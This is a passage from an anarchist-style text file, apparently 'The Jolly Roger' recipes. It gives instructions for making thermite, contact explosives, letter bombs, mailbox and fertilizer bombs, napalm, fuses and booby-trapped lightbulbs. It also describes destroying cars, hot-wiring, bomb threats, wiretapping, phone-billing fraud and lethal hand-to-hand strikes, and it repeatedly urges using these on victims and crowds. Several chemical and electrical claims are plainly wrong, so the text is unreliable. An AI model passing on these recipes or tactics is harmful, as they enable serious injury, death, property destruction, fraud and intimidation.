hand from an aluminum tube or bar. The ratio or iron oxide to aluminum is 8 grams to 3 grams. + Congrats! You have just made THERMITE! Now, to light it... + Thermite requires a LOT of heat (more than a blow torch!) to ignite. However, magnesium ribbon (which is sort of hard to find.. call +around) will do the trick. It takes the heat from the burning magnesium to light the thermite. + Now when you see your victim's car, pour a fifty-cent sized pile onto his hood, stick the ribbon in it, and light the ribbon with the blow +torch. Now chuckle as you watch it burn through the hood, the block, the axle, and the pavement. BE CAREFUL! The ideal mixtures can +vaporize CARBON STEEL! Another idea is to use thermite to get into pay phone cash boxes. +11. Touch Explosives by the Jolly Roger +This is sort of a mild explosive, but it can be quite dangerous in large quantities. To make touch explosive (such as that found in a snap-n-pop, +but more powerful), use this recipe: + Mix iodine crystals into ammonia until the iodine crystals will not dissolve into the ammonia anymore. Pour off the excess ammonia and dry +out the crystals on a baking sheet the same way as you dried the thermite (in other words, just let it sit overnight!). + Be careful now because these crystals are now your touch explosive. Carefully wrap a bunch in paper (I mean carefully! Friction sets +'em off!) and throw them around.. pretty loud, huh? They are fun to put on someone's chair. Add a small fish sinker to them and they can +be thrown a long distance (good for crowds, football games, concerts, etc.) +12. Letter Bombs by The Jolly Roger + You will first have to make a mild version of thermite. Use my recipe, but substitute iron fillings for rust. + Mix the iron with aluminum fillings in a ratio of 75% aluminum to 25% iron. This mixture will burn violently in a closed space (such as an +envelope). This bring us to our next ingredient... + Go to the post office and buy an insulated (padded) envelope. You know, the type that is double layered. Separate the layers and place +the mild thermite in the main section, where the letter would go. Then place magnesium powder in the outer layer. There is your bomb!! + Now to light it... this is the tricky part and hard to explain. Just keep experimenting until you get something that works. The fuse is just that +touch explosive I have told you about in another one of my anarchy files. You might want to wrap it like a long cigarette and then place it +at the top of the envelope in the outer layer (on top of the powdered magnesium). When the touch explosive is torn or even squeezed +hard it will ignite the powdered magnesium (sort of a flash light) and then it will burn the mild thermite. If the thermite didn't blow up, it +would at least burn the fuck out of your enemy (it does wonders on human flesh!). +13. Paint Bombs by The Jolly Roger +To make a pain bomb you simply need a metal pain can with a refastenable lid, a nice bright color paint (green, pink, purple, or some gross color +is perfect!), and a quantity of dry ice. Place the paint in the can and then drop the dry ice in. Quickly place the top on and then run like hell! With +some testing you can time this to a science. It depends on the ratio of dry ice to paint to the size of the can to how full it is. If you are really +pissed off at someone, you could place it on their doorstep, knock on the door, and then run!! Paint will fly all over the place!! +14. Ways to send a car to Hell by The Jolly Roger +There are 1001 ways to destroy a car but I am going to cover only the ones that are the most fun (for you), the most destructive (for them), +and the hardest to trace (for the cops). + Place thermite on the hood, light it, and watch it burn all the way through the pavement! + Tape a CO bomb to the hood, axle, gas tank, wheel, muffler, etc. + Put a tampon, dirt, sugar (this one is good!), a ping pong ball, or just about anything that will dissolve in the gas tank. + Put potatoes, rocks, bananas, or anything that will fit, into the tailpipe. Use a broom handle to stuff 'em up into the tailpipe. + Put a long rag into the gas tank and light it... + Steal a key, copy it, replace it, and then steal the stereo. + Break into the car. Cut a thin metal ruler into a shape like this: +Slide it into the outside window and keep pulling it back up until you catch the lock cable which should unlock the door. This device is also +called a SLIM JIM. Now get the stereo, equalizer, radar detector, etc. Now destroy the inside. (A sharp knife does wonders on the seats!) +15. Do you hate school? by The Jolly Roger + One of my favorites for getting out of a class or two is to call in a bomb threat. Tell 'em that it is in a locker. Then they have to check them +all, whilst you can slip away for an hour or two. You can even place a fake bomb (in any locker but YOURS!). They might cancel school +for a week while they investigate (of course, you will probably have to make it up in the summer). + Get some pure potassium or pure sodium, put it in a capsule, and flush it down the toilet (smells awful! Stinks up the whole school!). + Use a smoke grenade in the hallway. + Steal the computer passwords & keys. Or steal the 80 column cards inside if they are (gag) IBM. + Make friends with student assistants and have them change your grades when the teachers hand in their bubble sheets for the report +cards. + Spit your gum out on the carpet in the library or whatever and grind it into the carpet. Watch the janitors cry! + Draw on lockers or spraypaint on the building that the principal is a fascist. + Stick a potato in the tailpipe of the principal's car. + USE YOUR IMAGINATION! +16. Phone related vandalism by the Jolly Roger +If you live where there are underground lines then you will be able to ruin someone's phone life very easily. All you must do is go to their house +and find the green junction box that interfaces their line (and possibly some others in the neighborhood) with the major lines. These can be +found just about anywhere but they are usually underneath the nearest phone pole. Take a socket wrench and loosen the nut on the right. +Then just take clippers or a sledge hammer or a bomb and destroy the insides and pull up their phone cable. Now cut it into segments so it can't +be fixed but must be replaced (There is a week's worth of work for 'em!!) +17. Highway radar jamming by The Jolly Roger +Most drivers wanting to make better time on the open road will invest in one of those expensive radar detectors. However, this device will not +work against a gun type radar unit in which the radar signal is not present until the cop has your car in his sights and pulls the trigger. Then it is +TOO LATE for you to slow down. A better method is to continuously jam any signal with a radar signal of your own. I have tested this idea +with the cooperation of a local cop and found that his unit reads random numbers when my car approached him. It is suprisingly easy to make +a low power radar transmitter. A nifty little semiconductor called a Gunn Diode will generate microwaves when supplied with the 5 to 10 volt +DC and enclosed in the correct size cavity (resonator). An 8 to 3 terminal regulator can be used to get this voltage from a car's 12v system. +However, the correct construction and tuning of the cavity is difficult without good microwave measurement equipment. Police radars +commonly operate on the K band at 22 GHz. Or more often on the X band at 10�25 GHz. most microwave intruder alarms and motion detectors +(mounted over automatic doors in supermarkets & banks, etc.) contain a Gunn type transmitter/receiver combination that transmits about 10 +kilowatts at 10�25 GHz. These units work perfectly as jammers. If you cannot get one locally, write to Microwave Associates in Burlington, +Massachusetts and ask them for info on 'Gunnplexers' for ham radio use. When you get the unit it may be mounted in a plastic box on the dash +or in a weather-proof enclosure behind the PLASTIC grille. Switch on the power when on an open highway. The unit will not jam radar to the +side or behind the car so don't go speeding past the radar trap. An interesting phenomena you will notice is that the drivers who are in front of +you who are using detectors will hit their brakes as you approach large metal signs and bridges. Your signal is bouncing off of these objects +and triggering their radar detectors! +PS If you are interested in this sort of thing, get a copy of POPULAR COMMUNICATIONS. The ads in there tell you where you can get all kinds +of info on all kinds of neat equipment for all kinds of neat things! +18. Smoke Bombs by the Jolly Roger +Here is the recipe for one hell of a smoke bomb! +4 parts sugar +6 parts potassium nitrate (Salt Peter) +Heat this mixture over a LOW flame until it melts, stirring well. Pour it into a future container and, before it solidifies, imbed a few matches into +the mixture to use as fuses. One pound of this stuff will fill up a whole block with thick, white smoke! +19. Mail Box Bombs by the Jolly Roger +1.Two liter bottle of chlorine (must contain sodium hypochlorate) +2.Small amount of sugar +3.Small amount of water +Mix all three of these in equal amounts to fill about 1/10 of the bottle. Screw on the lid and place in a mailbox. It's hard to believe that such a +small explosion will literally rip the mailbox in half and send it 20 feet into the air! Be careful doing this, though, because if you are caught, it is +not up to the person whose mailbox you blew up to press charges. It is up to the city. +20. The easiest way to hot-wire cars by the Jolly Roger +Get in the car. Look under the dash. If it's enclosed, forget it unless you want to cut through it. If you do, do it near the ignition. Once you get +behind or near the ignition look for two red wires. In older cars red was the standard color, if not, look for two matched pairs. When you find +them, cross them and take off! +21. How to make Napalm by the Jolly Roger + Pour some gas into an old bowl, or some kind of container. + Get some styrofoam and put it in the gas, until the gas won't eat anymore. You should have a sticky syrup. + Put it on the end of something (don't touch it!!). The unused stuff lasts a long time! +22. How to make a fertilizer bomb by The Jolly Roger +Ingredients: + Newspaper + Fertilizer (the chemical kind, GREEN THUMB or ORCHO) + Cotton + Diesel fuel +Make a pouch out of the newspaper and put some fertilizer in it. Then put cotton on top. Soak the cotton with fuel. Then light and run like you +have never ran before! This blows up 500 square feet so don't do it in an alley!! +23. Tennis Ball Bombs by The Jolly Roger +Ingredients: + Strike anywhere matches + A tennis ball + A nice sharp knife + Duct tape +Break a ton of matchheads off. Then cut a SMALL hole in the tennis ball. Stuff all of the matchheads into the ball, until you can't fit any more in. +Then tape over it with duct tape. Make sure it is real nice and tight! Then, when you see a geek walking down the street, give it a good throw. +He will have a blast!! +24. Diskette Bombs by The Jolly Roger +You need: + A disk + Scissors + White or blue kitchen matches (they MUST be these colors!) + Clear nail polish +1.Carefully open up the diskette (3�" disks are best for this!) +2.Remove the cotton covering from the inside. +3.Scrape a lot of match powder into a bowl (use a wooden scraper, metal might spark the matchpowder!) +4.After you have a lot, spread it evenly on the disk. +5.Using the nail polish, spread it over the match mixture +6.Let it dry +7.Carefully put the diskette back together and use the nail polish to seal it shut on the inside (where it came apart). +When that disk is in a drive, the drive head attempts to read the disk, which causes a small fire (ENOUGH HEAT TO MELT THE DISK DRIVE AND +FUCK THE HEAD UP!!). Let the fuckhead try and fix THAT!!! +25. Unlisted Phone Numbers by The Jolly Roger +There are a couple of different ways of doing this. Let's see if this one will help: Every city has one or more offices dedicated to assigning +numbers to the telephone wire pairs. These offices are called DPAC offices and are available to service reps who are installing or repairing +phones. To get the DPAC number, a service rep would call the customer service number for billing information in the town that the number is +located in that he is trying to get the unlisted number of. (Got that?) The conversation would go something like this: "Hi, Amarillo, this is Joe from +Anytown business office, I need the DPAC number for the south side of town." This info is usually passed out with no problems, so... if the +first person you call doesn't have it, try another. REMEMBER, no one has ANY IDEA who the hell you are when you are talking on the phone, +so you can be anyone you damn well please! When you call the DPAC number, just tell them that you need a listing for either the address that +you have, or the name. DPAC DOES NOT SHOW WHETHER THE NUMBER IS LISTED OR UNLISTED!! Also, if you're going to make a habit of +chasing numbers down, you might want to check into getting a criss-cross directory, which lists phone numbers by their addresses. It costs a +couple hundred bucks, but it is well worth it if you have to chase more than one or two numbers down! +26. Fuses by The Jolly Roger +You would be surprised how many files are out there that use what falls under the category of a "fuse." They assume that you just have a +few lying around, or know where to get them. Well, in some parts of the country, fuses are extremely hard to come by... so this file tells you +how to make your own. Both fuses presented here are fairly simple to make, and are fairly reliable. +SLOW BURNING FUSE - 2 inches per minute +Materials needed: + Cotton string or 3 shoelaces + Potassium Nitrate or Potassium Chlorate + Granulated sugar +Procedure: +1.Wash the cotton string or shoelaces in HOT soapy water, then rinse with fresh water +2.Mix the following together in a glass bowl: + 1 part potassium nitrate or potassium chlorate + 1 part granulated sugar + 2 parts hot water +3.Soak strings or shoelaces in this solution +4.Twist/braid 3 strands together and allow them to dry +5.Check the burn rate to see how long it actually takes!! +FAST BURNING FUSE - 40 inches per minute +Materials needed: + Soft cotton string + Fine black powder (empty a few shotgun shells!) + Shallow dish or pan +Procedure: +1.Moisten powder to form a paste. +2.Twist/braid 3 strands of cotton together. +3.Rub paste into string and allow to dry. +4.Check the burn rate!!! +27. How to make Potassium Nitrate by The Jolly Roger +Potassium Nitrate is an ingredient in making fuses, among other things. Here is how you make it: +Materials needed: + 3 gallons of nitrate bearing earth or other material + cup of wood ashes + Bucket or other similar container about 4-5 gallons in volume + 2 pieces of finely woven cloth, each a bit bigger than the bottom of the bucket + Shallow dish or pan at least as large in diameter as the bucket + Shallow, heat resistant container + 2 gallons of water + Something to punch holes in the bottom of the bucket + 1 gallon of any type of alcohol + A heat source + Paper & tape +Procedure: +1.Punch holes on the inside bottom of the bucket, so that the metal is "puckered" outward from the bottom. +2.Spread cloth over the holes from the bottom. +3.Place wood ashes on the cloth. Spread it out so that it covers the entire cloth and has about the same thickness. +4.Place 2nd cloth on top of the wood ashes. +5.Place the dirt or other material in the bucket. +6.Place the bucket over the shallow container. NOTE: It may need support on the bottom so that the holes on the bottom are not blocked. +7.Boil water and pour it over the earth very slowly. Do NOT pour it all at once, as this will clog the filter on the bottom. +8.Allow water to run through holes into the shallow dish on the bottom. +9.Be sure that the water goes through ALL of the earth! +10.Allow water in dish to cool for an hour or so. +11.Carefully drain the liquid in the dish away, and discard the sludge in the bottom. +12.Boil this liquid over a fire for at least two hours. Small grains of salt will form - scoop these out with the paper as they form. +13.When the liquid has boiled down to its original volume let it sit. +14.After hour, add equal volume of the alcohol; when this mixture is poured through paper, small white crystals appear. This is the potassium +nitrate. +Purification: +1.Redissolve crystals in small amount of boiling water. +2.Remove any crystals that appear. +3.Pour through improvised filter then heat concentrated solution to dryness. +4.Spread out crystals and allow to dry. +28. Exploding Lightbulbs by The Jolly Roger +Materials needed: + Lightbulb (100w) + Socket (duh...) + cup soap chips + Blackpowder! (open some shotgun shells!) + cup kerosene or gasoline + Adhesive tape + Lighter or small blowtorch + Glue +Procedure for a simple exploding lightbulb: +1.Drill a small hole in the top of the bulb near the threads! +2.Carefully pour the blackpowder into the hole. Use enough so that it touches the filament! +3.Insert into socket as normal (make sure the light is off or else YOU will be the victim!!) +4.Get the hell out!! +Procedure for a Napalm Bulb: +1.Heat kerosene/gasoline in a double boiler. +2.Melt soap chips, stirring slowly. +3.Put somewhere and allow to cool. +4.Heat the threads of the bulb VERY carefully to melt the glue. Remove threads, slowly drawing out the filament. Do NOT break the cheap +electrical igniters and/or the filament or this won't work!! +5.Pour the liquid into the bulb, and slowly lower the filament back down into the bulb. Make sure the filament is dipped into the fluid. +6.Re-glue the threads back on. Insert it into a socket frequently used by the victim and get the hell out!! +When the victim flips the switch, he will be in for a BIG surprise! +29. Under water igniters by The Jolly Roger +Materials needed: + Pack of 10 silicon diodes. (Available at Radio Shack. You will know you got the right ones if they are very, very small glass objects!) + Pack of matches + 1 candle +Procedure: +1.Light the candle and allow a pool of molten wax to form in the top. +2.Take a single match and hold the glass part of a single diode against the head. Bend the diode pins around the matchhead so that one wraps +in an upward direction and then sticks out to the side. Do the same with the other wire, but in a downward direction. The diodes should +now be hugging the matchhead, but its wires MUST NOT TOUCH EACH OTHER! +3.Dip the matchhead in wax to give it a water-proof coat. These work underwater +4.Repeat to make as many as you want. +How to use them: +When these little dudes are hooked across a 6v battery, the diode reaches what is called breakdown voltage. When most electrical +components reach this voltage, they usually produce great amounts of heat and light, while quickly melting into a little blob. This heat is enough +to ignite a matchhead. These are recommended for use underwater, where most other igniters refuse to work. +30. Home-brew blast cannon by The Jolly Roger +Materials needed: + 1 plastic drain pipe, 3 feet long, at least 3 inches in diameter. + 1 smaller plastic pipe, about 6 inches long, 2 inches in diameter. + 1 large lighter, with fluid refills (this gobbles it up!) + 1 pipe cap to fit the large pipe, 1 pipe cap to fit the small pipe. + 5 feet of bellwire. + 1 SPST rocker switch. + 16v polaroid pot-a-pulse battery. + 15v relay (get this at Radio Shack). + Electrical Tape. + One free afternoon. +Procedure: + Cut the bell wire into three equal pieces, and strip the ends. + Cut a hole in the side of the large pipe, the same diameter as the small pipe. Thread the hole and one end of the small pipe. They should +screw together easily. + Take a piece of scrap metal, and bend it into an "L" shape, then attach it to the level on the lighter: +/------------------------gas switch is here +V +/------ +!lighter!!<---metal lever!! + Now, every time you pull the 'trigger' gas should flow freely from the lighter. You may need to enlarge the 'gas port' on your lighter, if you +wish to be able to fire more rapidly. + Connect two wires to the two posts on the switch. + Cut two holes in the side of the smaller tube, one for the switch on the bottom, and one for the metal piece on the top. Then, mount the +switch in the bottom, running the wires up and out of the top. + Mount the lighter/trigger in the top. Now the switch should rock easily, and the trigger should cause the lighter to pour out gas. Re-screw +the smaller tube into the larger one, hold down the trigger a bit, let it go, and throw a match in there. If all goes well, you should hear a nice +big 'THUD!' + Get a hold of the relay, and take off the top. +1--------------- +v/ +2--------------/<--the center object is the metal finger inside the relay +3 +cc-------------/ +oo----------------4 +ii +ll----------------5 + Connect (1) to one of the wires coming from the switch. Connect (2) to (4), and connect (5) to one side of the battery. Connect the +remaining wire from the switch to the other side of the battery. Now you should be able to get the relay to make a little 'buzzing' sound +when you flip the switch and you should see some tiny little sparks. + Now, carefully mount the relay on the inside of the large pipe, towards the back. Screw on the smaller pipe, tape the battery to the side of +the cannon barrel (yes, but looks aren't everything!) + You should now be able to let a little gas into the barrel and set it off by flipping the switch. + Put the cap on the back end of the large pipe VERY SECURELY. You are now ready for the first trial-run! +To Test: +Put something very, very large into the barrel, just so that it fits 'just right'. Now, find a strong guy (the recoil will probably knock you on your +ass if you aren't careful!). Put on a shoulderpad, earmuffs, and possibly some other protective clothing (trust the Jolly Roger! You are going to +need it!). Hold the +trigger down for 30 seconds, hold on tight, and hit the switch. With luck and the proper adjustments, you should be able to put a frozen orange +through or plywood at 25 feet. +31. Chemical Equivalency list by The Jolly Roger +Acacia................................................................Gum Arabic +Acetic Acid..............................................................Vinegar +Aluminum Oxide............................................................Alumia +Aluminum Potassium Sulphate.................................................Alum +Aluminum Sulfate............................................................Alum +Ammonium Carbonate.....................................................Hartshorn +Ammonium Hydroxide.......................................................Ammonia +Ammonium Nitrate......................................................Salt Peter +Ammonium Oleate.....................................................Ammonia Soap +Amylacetate...........................................................Banana Oil +Barium Sulfide.........................................................Black Ash +Carbon Carbinate...........................................................Chalk +Carbontetrachloride...............................................Cleaning Fluid +Calcium Hypochloride............................................Bleaching Powder +Calcium Oxide...............................................................Lime +Calcium Sulfate.................................................Plaster of Paris +Carbonic Acid............................................................Seltzer +Cetyltrimethylammoniumbromide......................................Ammonium Salt +Ethylinedichloride...................................................Dutch Fluid +Ferric Oxide...........................................................Iron Rust +Furfuraldehyde..........................................................Bran Oil +Glucose...............................................................Corn Syrup +Graphite.............................................................Pencil Lead +Hydrochloric Acid..................................................Muriatic Acid +Hydrogen Peroxide.......................................................Peroxide +Lead Acetate.......................................................Sugar of Lead +Lead Tero-oxide.........................................................Red Lead +Magnesium Silicate..........................................................Talc +Magnesium Sulfate.....................................................Epsom Salt +Methylsalicylate................................................Winter Green Oil +Naphthalene............................................................Mothballs +Phenol.............................................................Carbolic Acid +Potassium Bicarbonate............................................Cream of Tarter +Potassium Chromium Sulfate............................................Chromealum +Potassium Nitrate.....................................................Salt Peter +Sodium Oxide................................................................Sand +Sodium Bicarbonate...................................................Baking Soda +Sodium Borate..............................................................Borax +Sodium Carbonate....................................................Washing Soda +Sodium Chloride.............................................................Salt +Sodium Hydroxide.............................................................Lye +Sodium Silicate............................................................Glass +Sodium Sulfate....................................................Glauber's Salt +Sodium Thiosulfate...........................................Photographer's Hypo +Sulfuric Acid.......................................................Battery Acid +Sucrose...............................................................Cane Sugar +Zinc Chloride.....................................................Tinner's Fluid +Zinc Sulfate.......................................................White Vitriol +32. Phone Taps by The Jolly Roger +Here is some info on phone taps. In this file is a schematic for a simple wiretap & instructions for hooking up a small tape recorder control relay +to the phone line. +First, I will discuss taps a little. There are many different types of taps. There are transmitters, wired taps, and induction taps to name a few. +Wired and wireless transmitters must be physically connected to the line before they will do any good. Once a wireless tap is connected to the +line, it can transmit all conversations over a limited reception range. The phones in the house can even be modifies to pick up conversations in +the room and transmit them too! These taps are usually powered off of the phone line, but can have an external power source. You can get +more information on these taps by getting an issue of Popular Communications and reading through the ads. Wired taps, on the other hand, +need no power source, but a wire must be run from the line to the listener or to a transmitter. There are obvious advantages of wireless taps +over wired ones. There is one type of wireless tap that looks like a normal telephone mike. All you have to do is replace the original mike with +this and it will transmit all conversations! There is also an exotic type of wired tap known as the 'Infinity Transmitter' or 'Harmonica Bug'. In +order to hook one of these, it must be installed inside the phone. When someone calls the tapped phone & *before* it rings and blows a whistle +over the line, the transmitter picks up the phone via a relay. The mike on the phone is activated so that the caller can hear all of the +conversations in the room. There is a sweep tone test at 415/BUG-1111 which can be used to detect one of these taps. If one of these is on +your line & the test # sends the correct tone, you will hear a click. Induction taps have one big advantage over taps that must be physically +wired to the phone. They do not have to be touching the phone in order to pick up the conversation. They work on the same principle as the +little suction-cup tape recorder mikes that you can get at Radio Shack. Induction mikes can be hooked up to a transmitter or be wired. +Here is an example of industrial espionage using the phone: +A salesman walks into an office & makes a phone call. He fakes the conversation, but when he hangs up he slips some foam rubber cubes +into the cradle. The called party can still hear all conversations in the room. When someone picks up the phone, the cubes fall away unnoticed. +A tap can also be used on a phone to overhear what your modem is doing when you are war-dialing, hacking, or just pl ain calling a bbs. +Here is the schematic: +-------)!----)!(-------------> +)!( +Cap ^ )!( +)!( +)!( +)!( +^^^^^---)!(-------------> +^ 100K +! +! You have now 'seized' a trunk. After this, switch to multifrequency +and dial: +KP-0-700-456-x00x -ST + KP = KP tone on Blue Box + x = variable between 1 and 3 + ST = ST tone on Blue Box +The equipment now thinks that the operator has dialed Alliance from her switchboard and the conference shall be billed there. Since Blue +Boxing is such a large topic, this is as far as I will go into it's uses. +Billing to a loop: +A third method of receiving a free conference is by billing out to a loop. A loop is 2 numbers that when two people call, they can talk to each +other. You're saying woop-tee-do right? Wrong! Loops can be useful to phreaks. First, dial alliance direct. After going through the +beginning procedure, which will be discussed later in this tutorial, dial 0 and wait for an Alliance operator. When she answers tell her you +would like to bill the conference to such and such a number. (A loop where your phriend is on the other side) She will then call that number to +receive voice verification. Of course your phriend will be waiting and will accept the charges. Thus, the conference is billed to the loop. +Billing to call forwarding: +When you dial a number that is call forwarded, it is first answered by the original location, then forwarded. The original location will hang up if +2600hz is received from only one end of the line. Therefore, if you were to wait after the forwarded residence answered, you would receive +the original location's dial tone. +Example: +Dial 800-325-4067 +The original residence would answer, then forward the call, a second type of ringing would be heard. When this second residence answers +simply wait until they hang up. After about twenty seconds you will then receive the original residence's dial tone since it heard 2600hz from +one end of the line. Simply dial Alliance from this point and the conference will be billed to the original residence. These are the four main ways +to receive a free conference. I am sure +many more exist, but these four are quite handy themselves. +Logon Procedure: +Once Alliance answers you will hear a two-tone combination. This is their way of saying 'How many people do you want on the conference +dude?' Simply type in a 2-digit combination, depending on what bridge of Alliance you are on, between 10 and 59. After this either hit '*' to +cancel the conference size and input another or hit '#' to continue. You are now in Alliance Teleconferencing and are only seconds away from +having your own roaring conference going strong!!! +Dialing in Conferees: +To dial your first conferee, dial 1+npa+pre+suff and await his/her answer. +npa = area code +pre = prefix +suff = suffix +If the number is busy, or if no one answers simply hit '*' and your call will be aborted. But, if they do answer, hit the '#' key. This will add them +to the conference. Now commence dialing other conferees. +Joining Your Conference: +To join your conference from control mode simply hit the '#' key. Within a second or two you will be chatting with all your buddies. To go back +into control mode, simply hit the '#' key again. +Transferring Control: +To transfer control to another conferee, go into control mode, hit the # 6+1+npa+pre+suff of the conferee you wish to give control to. If after, +you wish to abort this transfer hit the '*' key. +NOTE: Transfer of control is often not available. When you receive a message stating this, you simply cannot transfer control. +Muted Conferences: +To request a muted conference simply hit the 9 key. I am not exactly sure what a muted conference is but it is probably a way to keep +unwanted eavesdroppers from listening in. +Dialing Alliance Operators: +Simply dial 0 as you would from any fone and wait for the operator to answer. +Ending Your Conference: +To end your conference all together, that is kick everyone including yourself off, go into control mode and hit '*'...after a few seconds simply +hang up. Your conference is over. +Are Alliance Operators Dangerous? +No. Not in the least. The worst they can do to you while you are having a conference is drop all conferees including yourself. This is in no way +harmful, just a little aggravating. +Alliance and Tracing: +Alliance can trace, as all citizens of the United States can. But this has to all be pre-meditated and AT&T has to be called and it's really a large +hassle, therefore, it is almost never done. Alliance simply does not want it known that teenagers are phucking them over. The only sort of +safety equipment Alliance has on-line is a simple pen register. This little device simply records all the numbers of the conferees dialed. No big +deal. All Alliance can do is call up that persons number, threaten and question. However, legally, they can do nothing because all you did was +answer your fone. +NOTE: Almost all instructions are told to the person in command by Alliance recordings. A lot of this tutorial is just a listing of those commands +plus information gathered by either myself or the phellow phreaks of the world!!! +38. Aqua Box Plans by The Jolly Roger +Every true phreaker lives in fear of the dreaded FBI 'Lock In Trace'. For a long time, it was impossible to escape from the Lock In Trace. This +box does offer an escape route with simple directions to it. This box is quite a simple concept, and almost any phreaker with basic electronics +knowledge can construct and use it. +The Lock In Trace +A lock in trace is a device used by the FBI to lock into the phone users location so that he can not hang up while a trace is in progress. For +those of you who are not familiar with the concept of 'locking in', then here's a brief description. The FBI can tap into a conversation, sort of like +a three-way call connection. Then, when they get there, they can plug electricity into the phone line. All phone connections are held open by a +certain voltage of electricity. That is why you sometimes get static and faint connections when you are calling far away, because the +electricity has trouble keeping the line up. What the lock in trace does is cut into the line and generate that same voltage straight into the lines. +That way, when you try and hang up, voltage is retained. Your phone will ring just like someone was calling you even after you hang up. (If +you have call waiting, you should understand better about that, for call waiting intercepts the electricity and makes a tone that means someone +is going through your line. Then, it is a matter of which voltage is higher. When you push down the receiver, then it see-saws the electricity to +the other side. When you have a person on each line it is impossible to hang up unless one or both of them will hang up. If you try to hang up, +voltage is retained, and your phone will ring. That should give you an understanding of how calling works. Also, when electricity passes +through a certain point on your phone, the electricity causes a bell to ring, or on some newer phones an electronic ring to sound.) So, in order +to eliminate the trace, you somehow must lower the voltage level on your phone line. You should know that every time someone else picks up +the phone line, then the voltage does decrease a little. In the first steps of planning this out, Xerox suggested getting about a hundred phones +all hooked into the same line that could all be taken off the hook at the same time. That would greatly decrease the voltage level. That is also +why most three-way connections that are using the bell service three way calling (which is only $3 a month) become quite faint after a while. +By now, you should understand the basic idea. You have to drain all of the power out of the line so the voltage can not be kept up. Rather +sudden draining of power could quickly short out the FBI voltage machine, because it was only built to sustain the exact voltage necessary to +keep the voltage out. For now, imagine this. One of the normal Radio Shack generators that you can go pick up that one end of the cord that +hooks into the central box has a phone jack on it and the other has an electrical plug. This way, you can "flash" voltage through the line, but +cannot drain it. So, some +modifications have to be done. +Materials +A BEOC (Basic Electrical Output Socket), like a small lamp -type connection, where you just have a simple plug and wire that would plug into a +light bulb. One of cords mentioned above, if you can't find one then construct your own... Same voltage connection, but the restrainer must be +built in (I.E. The central box) Two phone jacks (one for the modem, one for if you are being traced to plug the aqua box into) Some creativity +and easy work. +Notice: No phones have to be destroyed/modified to make this box, so don't go out and buy a new phone for it! +Procedure +All right, this is a very simple procedure. If you have the BEOC, it could drain into anything: a radio, or whatever. The purpose of having that is +you are going to suck the voltage out from the phone line into the electrical appliance so there would be no voltage left to lock you in with. +1.Take the connection cord. Examine the plug at the end. It should have only two prongs. If it has three, still, do not fear. Make sure the +electrical appliance is turned off unless you want to become a crispy critter while making this thing. Most plugs will have a hard plastic +design on the top of them to prevent you from getting in at the electrical wires inside. Well, remove it. If you want to keep the plug (I don't +see why...) then just cut the top off. When you look inside, Low and Behold, you will see that at the base of the prongs there are a few +wires connecting in. Those wires conduct the power into the appliance. So, you carefully unwrap those from the sides and pull them out +until they are about an inch ahead of the prongs. If you don't want to keep the jack, then just rip the prongs out. If you are, cover the +prongs with insulation tape so they will not connect with the wires when the power is being drained from the line. +2.Do the same thing with the prongs on the other plug, so you have the wires evenly connected. Now, wrap the end of the wires around each +other. If you happen to have the other end of the voltage cord hooked into the phone, stop reading now, you're too fucking stupid to +continue. After you've wrapped the wires around each other, then cover the whole thing with the plugs with insulating tape. Then, if you +built your own control box or if you bought one, then cram all the wires into it and reclose it. That box is your ticket out of this. +3.Re-check everything to make sure it's all in place. This is a pretty flimsy connection, but on later models when you get more experienced at it +then you can solder away at it and form the whole device into one big box, with some kind of cheap Mattel hand-held game inside to be +the power connector. In order to use it, just keep this box handy. Plug it into the jack if you want, but it will slightly lower the voltage so it +isn't connected. When you plug it in, if you see sparks, unplug it and restart the whole thing. But if it just seems fine then leave it. +Use +---- +Now, so you have the whole thing plugged in and all... Do not use this unless the situation is desperate! When the trace has gone on, don't +panic, unplug your phone, and turn on the appliance that it was hooked to. It will need energy to turn itself on, and here's a great source... The +voltage to keep a phone line open is pretty small and a simple light bulb should drain it all in and probably short the FBI computer at the same +time. +39. Hindenberg Bomb by The Jolly Roger +Needed: + 1 Balloon + 1 Bottle + 1 Liquid Plumber + 1 Piece Aluminum foil + 1 Length Fuse +Fill the bottle 3/4 full with Liquid Plumber and add a little piece of aluminum foil to it. Put the balloon over the neck of the bottle until the balloon is +full of the resulting gas. This is highly flammable hydrogen. Now tie the balloon. Now light the fuse, and let it rise. When the fuse contacts the +balloon, watch out!!! +40. How to Kill Someone with your Bare Hands by The Jolly Roger +This file will explain the basics of hand-to-hand combat, and will tell of the best places to strike and kill an enemy. When engaged in hand-tohand +combat, your life is always at stake. There is only one purpose in combat, and that is to kill your enemy. Never face an enemy with the +idea of knocking him out. The chances are extremely good that he will kill YOU instead. When a weapon is not available, one must resort to the +full use of his natural weapons. The natural weapons are: +1.The knife edge of your hands. +2.Fingers folded at the second joint or knuckle. +3.The protruding knuckle of your second finger. +4.The heel of your hand. +5.Your boot +6.Elbows +7.Knees +8.Your Teeth. +Attacking is a primary factor. A fight was never won by defensive action. Attack with all of your strength. At any point or any situation, some +vulnerable point on your enemies body will be open for attack. Do this while screaming as screaming has two purposes. +1.To frighten and confuse your enemy. +2.To allow you to take a deep breath which, in turn, will put more oxygen in your blood stream. +Your balance and balance of your enemy are two important factors; since, if you succeed in making your enemy lose his balance, the chances +are nine to one that you can kill him in your next move. The best over-all stance is where your feet are spread about shoulders width apart, +with your right foot about a foot ahead of the left. Both arms should be bent at the elbows parallel to each other. Stand on the balls of your feet +and bend your waist slightly. Kind of like a boxer's crouch. Employing a sudden movement or a scream or yell can throw your enemy offbalance. +There are many vulnerable points of the body. We will cover them now: +Eyes: Use your fingers in a V-shape and attack in gouging motion. +Nose:(Extremely vulnerable) Strike with the knife edge of the hand along the bridge, which will cause breakage, sharp pain, temporary +blindness, and if the blow is hard enough, death. Also, deliver a blow with the heel of your hand in an upward motion, this will shove the bone +up into the brain causing death. +Adam's Apple: This spot is usually pretty well protected, but if you get the chance, strike hard with the knife edge of your hand. This should +sever the wind-pipe, and then it's all over in a matter of minutes. +Temple: There is a large artery up here, and if you hit it hard enough, it will cause death. If you manage to knock your enemy down, kick him in +the temple, and he'll never get up again. +Back of the Neck: A rabbit punch, or blow delivered to the base of the neck can easily break it, but to be safe, it is better to use the butt of a +gun or some other heavy blunt object. +Upper lip: A large network of nerves are located. These nerves are extremely close to the skin. A sharp upward blow will cause extreme pain, +and unconsciousness. +Ears: Coming up from behind an enemy and cupping the hands in a clapping motion over the victims ears can kill him immediately. The vibrations +caus ed from the clapping motion will burst his eardrums, and cause internal bleeding in the brain. +Groin: A VERY vulnerable spot. If left open, get it with knee hard, and he'll buckle over very fast. +Kidneys: A large nerve that branches off to the spinal cord comes very close to the skin at the kidneys. A direct blow with the knife edge of +your hand can cause 